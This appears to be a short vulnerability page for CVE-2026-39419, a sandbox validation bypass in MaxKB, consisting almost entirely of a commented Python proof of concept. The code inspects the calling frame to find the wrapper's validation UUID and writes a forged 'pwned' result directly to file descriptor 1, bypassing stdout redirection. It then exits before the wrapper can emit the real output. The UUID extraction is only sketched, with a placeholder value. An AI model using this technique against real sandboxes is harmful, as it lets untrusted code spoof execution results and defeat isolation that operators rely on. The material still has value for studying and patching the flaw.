CVE-2026-39419 MaxKB沙箱验证绕过漏洞

import sys import os # Step 1: Frame introspection to extract wrapper UUID from bytecode constants # In a real scenario, the attacker iterates through frame.f_code.co_consts # or inspects the calling frame's locals to find the validation token. frame = sys._getframe(1) # Assuming validation logic relies on a specific context found via introspection # Step 2: Construct the forged result payload # This payload mimics the expected format of a legitimate tool execution result. forged_payload = b'{"result": "pwned", "uuid": "extracted_uuid_value"}' # Step 3: Bypass stdout redirection by writing directly to File Descriptor 1 # The wrapper redirects sys.stdout, but os.write(1, ...) communicates directly with the kernel. os.write(1, forged_payload) # Step 4: Terminate the process before the wrapper prints the legitimate output # This ensures the service only sees the spoofed data. sys.exit(0)